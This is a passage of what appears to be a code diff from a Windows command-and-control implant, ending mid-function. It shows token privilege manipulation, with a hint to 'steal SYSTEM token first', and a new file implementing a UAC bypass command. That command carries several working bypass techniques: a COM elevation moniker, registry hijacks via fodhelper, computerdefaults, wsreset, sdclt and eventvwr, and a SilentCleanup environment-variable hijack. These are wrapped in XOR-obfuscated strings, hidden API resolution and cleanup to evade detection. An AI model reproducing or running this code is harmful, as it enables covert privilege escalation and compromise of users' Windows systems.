if (!tp) { CloseHandle(hTok); return -1; }
GetTokenInformation(hTok, TokenPrivileges, tp, needed, &needed);
size_t pos = 0;
int n = snprintf(output_buf + pos, output_size - pos,
"%-48s %s\n", "Privilege", "State");
if (n > 0) pos += (size_t)n;
for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
char name[64] = {0};
DWORD nsz = sizeof(name);
if (adv->LookupPrivilegeNameA)
adv->LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name, &nsz);
DWORD attr = tp->Privileges[i].Attributes;
const char *state =
(attr & SE_PRIVILEGE_ENABLED) ? "Enabled" :
(attr & SE_PRIVILEGE_ENABLED_BY_DEFAULT) ? "Default" :
"Disabled";
n = snprintf(output_buf + pos, output_size - pos,
" %-46s %s\n", name, state);
if (n > 0 && (size_t)n < output_size - pos) pos += (size_t)n;
}
free(tp);
CloseHandle(hTok);
return 0;
}
if (strcmp(action, "enable") == 0 || strcmp(action, "disable") == 0) {
if (!priv_name || !priv_name[0]) {
snprintf(output_buf, output_size,
"[privs] usage: privs enable|disable <SeXxxPrivilege>\n");
CloseHandle(hTok);
return -1;
}
LUID luid;
if (!adv->LookupPrivilegeValueA ||
!adv->LookupPrivilegeValueA(NULL, priv_name, &luid)) {
snprintf(output_buf, output_size,
"[privs] unknown privilege: %s\n", priv_name);
CloseHandle(hTok);
return -1;
}
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes =
(strcmp(action, "enable") == 0) ? SE_PRIVILEGE_ENABLED : 0;
if (adv->AdjustTokenPrivileges)
adv->AdjustTokenPrivileges(hTok, FALSE, &tp, 0, NULL, NULL);
DWORD err = GetLastError();
CloseHandle(hTok);
if (err == ERROR_SUCCESS) {
snprintf(output_buf, output_size,
"[privs] %s: %s\n", action, priv_name);
return 0;
}
if (err == ERROR_NOT_ALL_ASSIGNED) {
snprintf(output_buf, output_size,
"[privs] %s: %s (not held by token - steal SYSTEM token first)\n",
action, priv_name);
return -1;
}
snprintf(output_buf, output_size,
"[privs] failed: %lu\n", err);
return -1;
}
CloseHandle(hTok);
snprintf(output_buf, output_size,
"[privs] usage: privs [list | enable <name> | disable <name>]\n");
return -1;
}
+849
View File
@@ -0,0 +1,849 @@
#include "commands.h"
#include "beacon.h"
#include "evasion.h"
#include "adv_lazy.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <tlhelp32.h>
#include <objbase.h>
#include <shellapi.h>
#include <shlobj.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define IL_UNTRUSTED 0
#define IL_LOW 1
#define IL_MEDIUM 2
#define IL_HIGH 3
#define IL_SYSTEM 4
static int get_integrity_level(void)
{
HANDLE hTok = NULL;
{ const adv_api_t *_a = adv_get();
if (!_a->OpenProcessToken || !_a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hTok)) return -1; }
DWORD sz = 0;
GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &sz);
TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(sz);
if (!tml) { CloseHandle(hTok); return -1; }
int il = -1;
if (GetTokenInformation(hTok, TokenIntegrityLevel, tml, sz, &sz)) {
DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
*GetSidSubAuthorityCount(tml->Label.Sid) - 1);
if (rid < 0x1000) il = IL_UNTRUSTED;
else if (rid < 0x2000) il = IL_LOW;
else if (rid < 0x3000) il = IL_MEDIUM;
else if (rid < 0x4000) il = IL_HIGH;
else il = IL_SYSTEM;
}
free(tml);
CloseHandle(hTok);
return il;
}
static int is_admin_group(void)
{
BOOL admin = FALSE;
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
PSID admin_sid = NULL;
if (AllocateAndInitializeSid(&nt, 2,
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0,0,0,0,0,0, &admin_sid)) {
CheckTokenMembership(NULL, admin_sid, &admin);
FreeSid(admin_sid);
}
return (int)admin;
}
static WCHAR *to_wide(const char *s)
{
int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
if (n <= 0) return NULL;
WCHAR *w = (WCHAR *)malloc((size_t)n * sizeof(WCHAR));
if (w) MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
return w;
}
static void split_cmdline(const char *cmdline, char *exe_buf, size_t exe_sz,
char *args_buf, size_t args_sz)
{
exe_buf[0] = args_buf[0] = '\0';
if (!cmdline || !*cmdline) return;
if (cmdline[0] == '"') {
const char *end = strchr(cmdline + 1, '"');
if (end) {
size_t n = (size_t)(end - cmdline - 1);
if (n >= exe_sz) n = exe_sz - 1;
memcpy(exe_buf, cmdline + 1, n);
exe_buf[n] = '\0';
const char *rest = end + 1;
while (*rest == ' ') rest++;
strncpy(args_buf, rest, args_sz - 1);
args_buf[args_sz - 1] = '\0';
return;
}
}
const char *sp = strchr(cmdline, ' ');
if (!sp) {
strncpy(exe_buf, cmdline, exe_sz - 1);
exe_buf[exe_sz - 1] = '\0';
} else {
size_t n = (size_t)(sp - cmdline);
if (n >= exe_sz) n = exe_sz - 1;
memcpy(exe_buf, cmdline, n);
exe_buf[n] = '\0';
const char *rest = sp + 1;
while (*rest == ' ') rest++;
strncpy(args_buf, rest, args_sz - 1);
args_buf[args_sz - 1] = '\0';
}
}
static const IID _iid_ICMLuaUtil =
{0x6EDD6D74, 0xC007, 0x4E75, {0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}};
typedef HRESULT (STDMETHODCALLTYPE *ICMLuaUtil_ShellExec_t)(
void *pThis,
LPCWSTR pwszFile,
LPCWSTR pwszParameters,
LPCWSTR pwszDirectory,
ULONG nShowCmd,
ULONG dwFlags
);
static int bypass_com(const char *cmdline, char *out, size_t outsz)
{
if (!cmdline || !*cmdline)
return snprintf(out, outsz, "e:0\n"), -1;
WCHAR *exe_w = to_wide(cmdline);
WCHAR *args_w = NULL;
if (!exe_w) return snprintf(out, outsz, "e:w\n"), -1;
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL com_init = SUCCEEDED(hr) || hr == RPC_E_CHANGED_MODE;
WCHAR moniker[80];
{ volatile unsigned char _k = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_str_elevation_moniker); _i++)
moniker[_i] = (WCHAR)(EVS_str_elevation_moniker[_i] ^ _k);
moniker[sizeof(EVS_str_elevation_moniker)] = L'\0'; }
BIND_OPTS3 bo;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(BIND_OPTS3);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
void *pObj = NULL;
hr = CoGetObject(moniker, (BIND_OPTS *)&bo, &_iid_ICMLuaUtil, &pObj);
if (FAILED(hr) || !pObj) {
free(exe_w); free(args_w);
if (com_init) CoUninitialize();
return snprintf(out, outsz, "e:cg %08lx\n", hr), -1;
}
ICMLuaUtil_ShellExec_t fn_ShellExec =
(ICMLuaUtil_ShellExec_t)(*(void***)pObj)[9];
hr = fn_ShellExec(pObj, exe_w, L"", NULL, 1 /*SW_SHOWNORMAL*/, 0);
((IUnknown *)pObj)->lpVtbl->Release((IUnknown *)pObj);
free(exe_w);
if (com_init) CoUninitialize();
if (FAILED(hr))
return snprintf(out, outsz, "e:se %08lx\n", hr), -1;
return snprintf(out, outsz, "ok\n");
}
static int count_proc(const char *exename)
{
DWORD self = GetCurrentProcessId();
int n = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, exename) == 0 && pe.th32ProcessID != self)
n++;
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return n;
}
static int reg_set_sz(HKEY root, const char *subkey, const char *valname, const char *data)
{
HKEY hk;
if (RegCreateKeyExA(root, subkey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hk, NULL)
!= ERROR_SUCCESS) return -1;
int rc = RegSetValueExA(hk, valname, 0, REG_SZ,
(const BYTE *)data, (DWORD)(strlen(data) + 1));
RegCloseKey(hk);
return rc == ERROR_SUCCESS ? 0 : -1;
}
static void reg_del_tree(HKEY root, const char *subkey)
{
typedef LONG (WINAPI *RegDelTree_t)(HKEY, LPCSTR);
static RegDelTree_t fn = NULL;
if (!fn) {
char fs[16], ms[14]; volatile unsigned char _k = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_RegDeleteTreeA); i++) fs[i] = (char)(EVS_fn_RegDeleteTreeA[i] ^ _k);
fs[sizeof(EVS_fn_RegDeleteTreeA)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_advapi32); i++) ms[i] = (char)(EVS_dll_advapi32[i] ^ _k);
ms[sizeof(EVS_dll_advapi32)] = '\0';
HMODULE m = _peb_module(ms);
SecureZeroMemory(ms, sizeof(ms));
if (m) fn = (RegDelTree_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
if (fn) fn(root, subkey);
}
static void shell_exec_wait(const char *exe, int wait_ms)
{
typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
static fnSEE pSEE = NULL;
if (!pSEE) {
char _sh[16], _dl[12];
EVS_D(_sh, EVS_fn_ShellExecuteExW);
EVS_D(_dl, EVS_dll_shell32);
HMODULE h = _peb_module(_dl);
if (!h) h = LoadLibraryA(_dl);
SecureZeroMemory(_dl, sizeof(_dl));
if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
SecureZeroMemory(_sh, sizeof(_sh));
}
if (!pSEE) return;
WCHAR *w = to_wide(exe);
if (!w) return;
SHELLEXECUTEINFOW sei = {0};
sei.cbSize = sizeof(sei);
sei.fMask = 0;
sei.lpVerb = L"open";
sei.lpFile = w;
sei.nShow = SW_HIDE;
pSEE(&sei);
free(w);
Sleep((DWORD)wait_ms);
}
static void make_safe_cmd(const char *cmdline, char *out, size_t outsz)
{
/* Strip existing outer quotes to get a bare path, then re-wrap for start */
char bare[2048 + MAX_PATH] = {0};
if (cmdline[0] == '"') {
const char *end = strrchr(cmdline, '"');
if (end && end != cmdline) {
size_t n = (size_t)(end - cmdline - 1);
if (n >= sizeof(bare)) n = sizeof(bare) - 1;
memcpy(bare, cmdline + 1, n);
bare[n] = '\0';
} else {
strncpy(bare, cmdline, sizeof(bare) - 1);
}
} else {
strncpy(bare, cmdline, sizeof(bare) - 1);
}
bare[sizeof(bare) - 1] = '\0';
snprintf(out, outsz, "cmd /c start \"\" \"%s\"", bare);
}
static int bypass_lifter(const char *agent_path, char *out, size_t outsz)
{
char self[MAX_PATH] = {0};
GetModuleFileNameA(NULL, self, sizeof(self) - 1);
char lifter_path[MAX_PATH] = {0};
strncpy(lifter_path, self, sizeof(lifter_path) - 1);
char *last = strrchr(lifter_path, '\\');
if (!last)
return snprintf(out, outsz, "e:ps\n"), -1;
char _lfn[11];
EVS_D(_lfn, EVS_str_lifter_exe);
snprintf(last + 1, (size_t)(lifter_path + sizeof(lifter_path) - last - 1), "%s", _lfn);
SecureZeroMemory(_lfn, sizeof(_lfn));
if (GetFileAttributesA(lifter_path) == INVALID_FILE_ATTRIBUTES)
return snprintf(out, outsz, "e:nf\n"), -1;
char tmp[MAX_PATH];
GetTempPathA((DWORD)sizeof(tmp), tmp);
char staged[MAX_PATH];
char _pfx[8];
EVS_D(_pfx, EVS_str_WinMgmt);
snprintf(staged, sizeof(staged), "%s%s%04lX.exe",
tmp, _pfx, (unsigned long)(GetTickCount() & 0xFFFF));
SecureZeroMemory(_pfx, sizeof(_pfx));
if (!CopyFileA(lifter_path, staged, FALSE))
return snprintf(out, outsz, "e:cp %lu\n", GetLastError()), -1;
char exec[MAX_PATH * 2 + 8];
snprintf(exec, sizeof(exec), "\"%s\" \"%s\"", staged, agent_path);
STARTUPINFOA si = { sizeof(si) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {0};
if (!CreateProcessA(NULL, exec, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
DeleteFileA(staged);
return snprintf(out, outsz, "e:cr %lu\n", GetLastError()), -1;
}
WaitForSingleObject(pi.hProcess, 6000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
DeleteFileA(staged);
return snprintf(out, outsz, "ok\n");
}
static int bypass_fodhelper(const char *cmdline, char *out, size_t outsz)
{
evasion_apply_thread(GetCurrentThread());
char _ms[12], _de[16];
EVS_D(_ms, EVS_str_ms_settings);
EVS_D(_de, EVS_str_DelegateExecute);
char key[128], root[64];
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _ms);
snprintf(root, sizeof(root), "Software\\Classes\\%s", _ms);
SecureZeroMemory(_ms, sizeof(_ms));
char sys32[MAX_PATH], fod[MAX_PATH + 16];
GetSystemDirectoryA(sys32, MAX_PATH);
char _fn[14];
EVS_D(_fn, EVS_str_fodhelper_exe);
snprintf(fod, sizeof(fod), "%s\\%s", sys32, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
char safe[2048 + MAX_PATH + 4] = {0};
make_safe_cmd(cmdline, safe, sizeof(safe));
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0 ||
reg_set_sz(HKEY_CURRENT_USER, key, _de, "") != 0) {
SecureZeroMemory(_de, sizeof(_de));
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "e:reg\n"), -1;
}
SecureZeroMemory(_de, sizeof(_de));
shell_exec_wait(fod, 2000);
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "ok\n");
}
static int bypass_computerdefaults(const char *cmdline, char *out, size_t outsz)
{
evasion_apply_thread(GetCurrentThread());
char _ms[12], _de[16];
EVS_D(_ms, EVS_str_ms_settings);
EVS_D(_de, EVS_str_DelegateExecute);
char key[128], root[64];
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _ms);
snprintf(root, sizeof(root), "Software\\Classes\\%s", _ms);
SecureZeroMemory(_ms, sizeof(_ms));
char sys32[MAX_PATH], bin[MAX_PATH + 24];
GetSystemDirectoryA(sys32, MAX_PATH);
char _fn[21];
EVS_D(_fn, EVS_str_computerdefaults_exe);
snprintf(bin, sizeof(bin), "%s\\%s", sys32, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
char safe[2048 + MAX_PATH + 4] = {0};
make_safe_cmd(cmdline, safe, sizeof(safe));
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0 ||
reg_set_sz(HKEY_CURRENT_USER, key, _de, "") != 0) {
SecureZeroMemory(_de, sizeof(_de));
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "e:reg\n"), -1;
}
SecureZeroMemory(_de, sizeof(_de));
shell_exec_wait(bin, 2000);
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "ok\n");
}
static int bypass_wsreset(const char *cmdline, char *out, size_t outsz)
{
evasion_apply_thread(GetCurrentThread());
char _clsid[36];
EVS_D(_clsid, EVS_str_wsreset_clsid);
char key[192], root[128];
snprintf(key, sizeof(key), "Software\\Classes\\%s\\Shell\\open\\command", _clsid);
snprintf(root, sizeof(root), "Software\\Classes\\%s", _clsid);
SecureZeroMemory(_clsid, sizeof(_clsid));
char sys32[MAX_PATH], bin[MAX_PATH + 16];
GetSystemDirectoryA(sys32, MAX_PATH);
char _fn[12];
EVS_D(_fn, EVS_str_wsreset_exe);
snprintf(bin, sizeof(bin), "%s\\%s", sys32, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
if (GetFileAttributesA(bin) == INVALID_FILE_ATTRIBUTES) {
return snprintf(out, outsz, "e:nf\n"), -1;
}
char safe[2048 + MAX_PATH + 4] = {0};
make_safe_cmd(cmdline, safe, sizeof(safe));
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "e:reg\n"), -1;
}
shell_exec_wait(bin, 3000);
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "ok\n");
}
static int bypass_sdclt(const char *cmdline, char *out, size_t outsz)
{
evasion_apply_thread(GetCurrentThread());
char _ef[8];
EVS_D(_ef, EVS_str_exefile);
char key[128], root[64];
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\runas\\command", _ef);
snprintf(root, sizeof(root), "Software\\Classes\\%s", _ef);
SecureZeroMemory(_ef, sizeof(_ef));
char safe[2048 + MAX_PATH + 4] = {0};
make_safe_cmd(cmdline, safe, sizeof(safe));
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "e:reg\n"), -1;
}
char sys32[MAX_PATH], sdp[MAX_PATH + 16];
GetSystemDirectoryA(sys32, MAX_PATH);
char _fn[10];
EVS_D(_fn, EVS_str_sdclt_exe);
snprintf(sdp, sizeof(sdp), "%s\\%s", sys32, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
static fnSEE pSEE = NULL;
if (!pSEE) {
char _sh[16], _dl[12];
EVS_D(_sh, EVS_fn_ShellExecuteExW);
EVS_D(_dl, EVS_dll_shell32);
HMODULE h = _peb_module(_dl);
SecureZeroMemory(_dl, sizeof(_dl));
if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
SecureZeroMemory(_sh, sizeof(_sh));
}
if (pSEE) {
WCHAR *wpath = to_wide(sdp);
if (wpath) {
SHELLEXECUTEINFOW sei = {0};
sei.cbSize = sizeof(sei);
sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
sei.lpVerb = L"open";
sei.lpFile = wpath;
sei.lpParameters = L"/KickOffElev";
sei.nShow = SW_HIDE;
pSEE(&sei);
Sleep(400);
if (sei.hProcess) CloseHandle(sei.hProcess);
free(wpath);
}
}
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "ok\n");
}
static int bypass_eventvwr(const char *cmdline, char *out, size_t outsz)
{
evasion_apply_thread(GetCurrentThread());
char _mf[8];
EVS_D(_mf, EVS_str_mscfile);
char key[128], root[64];
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _mf);
snprintf(root, sizeof(root), "Software\\Classes\\%s", _mf);
SecureZeroMemory(_mf, sizeof(_mf));
char safe[2048 + MAX_PATH + 4] = {0};
make_safe_cmd(cmdline, safe, sizeof(safe));
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "e:reg\n"), -1;
}
char sys32[MAX_PATH], evtw[MAX_PATH + 16];
GetSystemDirectoryA(sys32, MAX_PATH);
char _fn[13];
EVS_D(_fn, EVS_str_eventvwr_exe);
snprintf(evtw, sizeof(evtw), "%s\\%s", sys32, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
shell_exec_wait(evtw, 2000);
reg_del_tree(HKEY_CURRENT_USER, root);
return snprintf(out, outsz, "ok\n");
}
static int bypass_diskcleanup(const char *cmdline, char *out, size_t outsz)
{
evasion_apply_thread(GetCurrentThread());
char _ev[12], _wd[7];
EVS_D(_ev, EVS_str_Environment);
EVS_D(_wd, EVS_str_windir);
char hijacked[2048 + MAX_PATH + 32] = {0};
snprintf(hijacked, sizeof(hijacked), "cmd /K \"%s\" & REM ", cmdline);
if (reg_set_sz(HKEY_CURRENT_USER, _ev, _wd, hijacked) != 0) {
SecureZeroMemory(_ev, sizeof(_ev));
SecureZeroMemory(_wd, sizeof(_wd));
return snprintf(out, outsz, "e:wd\n"), -1;
}
char sys32[MAX_PATH], sched[MAX_PATH + 16];
GetSystemDirectoryA(sys32, MAX_PATH);
char _sfn[13];
EVS_D(_sfn, EVS_str_schtasks_exe);
snprintf(sched, sizeof(sched), "%s\\%s", sys32, _sfn);
SecureZeroMemory(_sfn, sizeof(_sfn));
char _sc[14];
EVS_D(_sc, EVS_str_SilentCleanup);
char taskpath[64];
snprintf(taskpath, sizeof(taskpath), "\\Microsoft\\Windows\\DiskCleanup\\%s", _sc);
SecureZeroMemory(_sc, sizeof(_sc));
char full_cmd[MAX_PATH + 128];
snprintf(full_cmd, sizeof(full_cmd),
"\"%s\" /Run /TN \"%s\" /I", sched, taskpath);
STARTUPINFOA si = { sizeof(si) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {0};
BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
if (ok) {
WaitForSingleObject(pi.hProcess, 3000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
Sleep(4000);
HKEY henv = NULL;
if (RegOpenKeyExA(HKEY_CURRENT_USER, _ev, 0, KEY_SET_VALUE, &henv) == ERROR_SUCCESS) {
RegDeleteValueA(henv, _wd);
RegCloseKey(henv);
}
SecureZeroMemory(_ev, sizeof(_ev));
SecureZeroMemory(_wd, sizeof(_wd));
if (!ok)
return snprintf(out, outsz, "e:st %lu\n", GetLastError()), -1;
return snprintf(out, outsz, "ok\n");
}
static int bypass_runas(const char *cmdline, char *out, size_t outsz)
{
if (!cmdline || !*cmdline)
return snprintf(out, outsz, "e:0\n"), -1;
WCHAR *exe_w = to_wide(cmdline);
if (!exe_w) return snprintf(out, outsz, "e:w\n"), -1;
typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
static fnSEE pSEE = NULL;
if (!pSEE) {
char _sh[16], _dl[12];
EVS_D(_sh, EVS_fn_ShellExecuteExW);
EVS_D(_dl, EVS_dll_shell32);
HMODULE h = _peb_module(_dl);
if (!h) h = LoadLibraryA(_dl);
SecureZeroMemory(_dl, sizeof(_dl));
if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
SecureZeroMemory(_sh, sizeof(_sh));
}
if (!pSEE) { free(exe_w); return snprintf(out, outsz, "e:see\n"), -1; }
SHELLEXECUTEINFOW sei = {0};
sei.cbSize = sizeof(sei);
sei.fMask = SEE_MASK_NOCLOSEPROCESS;
sei.lpVerb = L"runas";
sei.lpFile = exe_w;
sei.lpParameters = L"";
sei.nShow = SW_SHOW;
BOOL ok = pSEE(&sei);
DWORD err = GetLastError();
free(exe_w);
if (!ok) {
if (err == ERROR_CANCELLED)
return snprintf(out, outsz, "e:u\n"), -1;
return snprintf(out, outsz, "e:se %lu\n", err), -1;
}
if (sei.hProcess) {
WaitForSingleObject(sei.hProcess, 3000);
CloseHandle(sei.hProcess);
} else {
Sleep(3000);
}
return snprintf(out, outsz, "ok\n");
}
static void _enable_sedebug(void);
int cmd_uacbypass(const char *args, char *output_buf, size_t output_size)
{
memset(output_buf, 0, output_size);
int il = get_integrity_level();
if (il >= IL_SYSTEM) {
snprintf(output_buf, output_size, "ok:s\n");
return 0;
}
if (il >= IL_HIGH) {
_enable_sedebug();
return cmd_getsystem(NULL, output_buf, output_size);
}
{
HANDLE htok = NULL;
TOKEN_ELEVATION_TYPE etype = TokenElevationTypeDefault;
{ const adv_api_t *_a = adv_get();
if (_a->OpenProcessToken && _a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok)) {
DWORD tsz = sizeof(etype);
GetTokenInformation(htok, TokenElevationType, &etype, tsz, &tsz);
CloseHandle(htok);
}
}
if (etype != TokenElevationTypeLimited) {
snprintf(output_buf, output_size, "e:il\n");
return -1;
}
}
{
HKEY hpol = NULL;
DWORD consent = 0xFFFF, psz = sizeof(consent);
{ char _rp[57], _rv[28]; volatile unsigned char _k = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_str_reg_policies_system); _i++)
_rp[_i] = (char)(EVS_str_reg_policies_system[_i] ^ _k);
_rp[sizeof(EVS_str_reg_policies_system)] = '\0';
for (int _i = 0; _i < (int)sizeof(EVS_str_ConsentPromptBehaviorAdmin); _i++)
_rv[_i] = (char)(EVS_str_ConsentPromptBehaviorAdmin[_i] ^ _k);
_rv[sizeof(EVS_str_ConsentPromptBehaviorAdmin)] = '\0';
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, _rp, 0, KEY_QUERY_VALUE, &hpol) == ERROR_SUCCESS) {
RegQueryValueExA(hpol, _rv, NULL, NULL, (BYTE *)&consent, &psz);
RegCloseKey(hpol);
}
SecureZeroMemory(_rp, sizeof(_rp)); SecureZeroMemory(_rv, sizeof(_rv)); }
size_t _diag_off = strlen(output_buf);
if (_diag_off < output_size - 1)
snprintf(output_buf + _diag_off, output_size - _diag_off,
"cp=%lu\n", consent);
}
evasion_apply_thread(GetCurrentThread());
{
char own_id[AGENT_ID_LEN + 1];
agent_gen_id(own_id);
agent_write_parent_id(own_id);
}
char method[32] = "auto";
char cmdline[2048] = {0};
char _m_auto[] = {'a','u','t','o',0};
char _m_com[] = {'c','o','m',0};
char _m_lft[] = {'l','i','f','t','e','r',0};
char _m_fod[] = {'f','o','d','h','e','l','p','e','r',0};
char _m_sdc[] = {'s','d','c','l','t',0};
char _m_cdf[] = {'c','o','m','p','u','t','e','r','d','e','f','a','u','l','t','s',0};
char _m_wsr[] = {'w','s','r','e','s','e','t',0};
char _m_evt[] = {'e','v','e','n','t','v','w','r',0};
char _m_dck[] = {'d','i','s','k','c','l','e','a','n','u','p',0};
char _m_run[] = {'r','u','n','a','s',0};
if (!args || !*args) {
GetModuleFileNameA(NULL, cmdline, sizeof(cmdline) - 1);
} else {
const char *p = args;
char first[64] = {0};
int i = 0;
while (*p && *p != ' ' && i < 63) first[i++] = *p++;
while (*p == ' ') p++;
if (strcmp(first, _m_auto) == 0 || strcmp(first, _m_com) == 0 ||
strcmp(first, _m_lft) == 0 ||
strcmp(first, _m_fod) == 0 || strcmp(first, _m_sdc) == 0 ||
strcmp(first, _m_cdf) == 0 || strcmp(first, _m_wsr) == 0 ||
strcmp(first, _m_evt) == 0 || strcmp(first, _m_dck) == 0 ||
strcmp(first, _m_run) == 0) {
strncpy(method, first, sizeof(method) - 1);
method[sizeof(method) - 1] = '\0';
if (*p) { strncpy(cmdline, p, sizeof(cmdline) - 1); cmdline[sizeof(cmdline) - 1] = '\0'; }
else GetModuleFileNameA(NULL, cmdline, sizeof(cmdline) - 1);
} else {
strncpy(cmdline, args, sizeof(cmdline) - 1);
}
}
char self_name[MAX_PATH] = {0};
GetModuleFileNameA(NULL, self_name, sizeof(self_name) - 1);
const char *bn = strrchr(self_name, '\\');
bn = bn ? bn + 1 : self_name;
int before = count_proc(bn);
int rc = -1;
#define TRY_BYPASS(fn_name, label) do { \
agent_write_gs_flag(); \
size_t _off = strlen(output_buf); \
char *_b = (_off + 1 < output_size) ? output_buf + _off : output_buf + output_size - 1; \
size_t _z = (_off + 1 < output_size) ? output_size - _off : 1; \
rc = fn_name(cmdline, _b, _z); \
if (rc >= 0) { \
int after = before, gs_gone = 0; \
for (int _w = 0; _w < 6; _w++) { \
after = count_proc(bn); \
gs_gone = !agent_gs_flag_exists(); \
if (after > before || gs_gone) break; \
Sleep(1000); \
} \
if (after > before || gs_gone) { \
if (!after && gs_gone) { \
size_t _gg = strlen(output_buf); \
if (_gg + 1 < output_size) \
snprintf(output_buf + _gg, output_size - _gg, "ok:gs\n"); \
} \
goto spawned; \
} \
rc = -1; \
} \
} while(0)
if (strcmp(method, _m_lft) == 0) {
TRY_BYPASS(bypass_lifter, "lifter");
} else if (strcmp(method, _m_run) == 0) {
TRY_BYPASS(bypass_runas, "runas");
} else if (strcmp(method, _m_com) == 0) {
size_t _o0 = strlen(output_buf);
rc = bypass_com(cmdline,
output_buf + _o0,
_o0 < output_size ? output_size - _o0 : 1);
} else if (strcmp(method, _m_fod) == 0) {
TRY_BYPASS(bypass_fodhelper, "fodhelper");
} else if (strcmp(method, _m_sdc) == 0) {
TRY_BYPASS(bypass_sdclt, "sdclt");
} else if (strcmp(method, _m_cdf) == 0) {
TRY_BYPASS(bypass_computerdefaults, "computerdefaults");
} else if (strcmp(method, _m_wsr) == 0) {
TRY_BYPASS(bypass_wsreset, "wsreset");
} else if (strcmp(method, _m_evt) == 0) {
TRY_BYPASS(bypass_eventvwr, "eventvwr");
} else if (strcmp(method, _m_dck) == 0) {
TRY_BYPASS(bypass_diskcleanup, "diskcleanup");
} else {
TRY_BYPASS(bypass_lifter, "lifter");
TRY_BYPASS(bypass_eventvwr, "eventvwr");
TRY_BYPASS(bypass_diskcleanup, "diskcleanup");
TRY_BYPASS(bypass_fodhelper, "fodhelper");
TRY_BYPASS(bypass_computerdefaults, "computerdefaults");
TRY_BYPASS(bypass_sdclt, "sdclt");
TRY_BYPASS(bypass_wsreset, "wsreset");
{
size_t _oc = strlen(output_buf);
char *_bc = (_oc + 1 < output_size) ? output_buf + _oc : output_buf + output_size - 1;
size_t _zc = (_oc + 1 < output_size) ? output_size - _oc : 1;
agent_write_gs_flag();
int _before_c = before;
int _com_rc = bypass_com(cmdline, _bc, _zc);
if (_com_rc >= 0) {
Sleep(2000);
int _after_c = count_proc(bn);
int _gs_c = !agent_gs_flag_exists();
if (_after_c > _before_c || _gs_c) { rc = 0; goto spawned; }
}
}
TRY_BYPASS(bypass_runas, "runas");
}
{
size_t off = strlen(output_buf);
if (off < output_size - 1)
snprintf(output_buf + off, output_size - off, "e:all\n");
}
return -1;
spawned:;
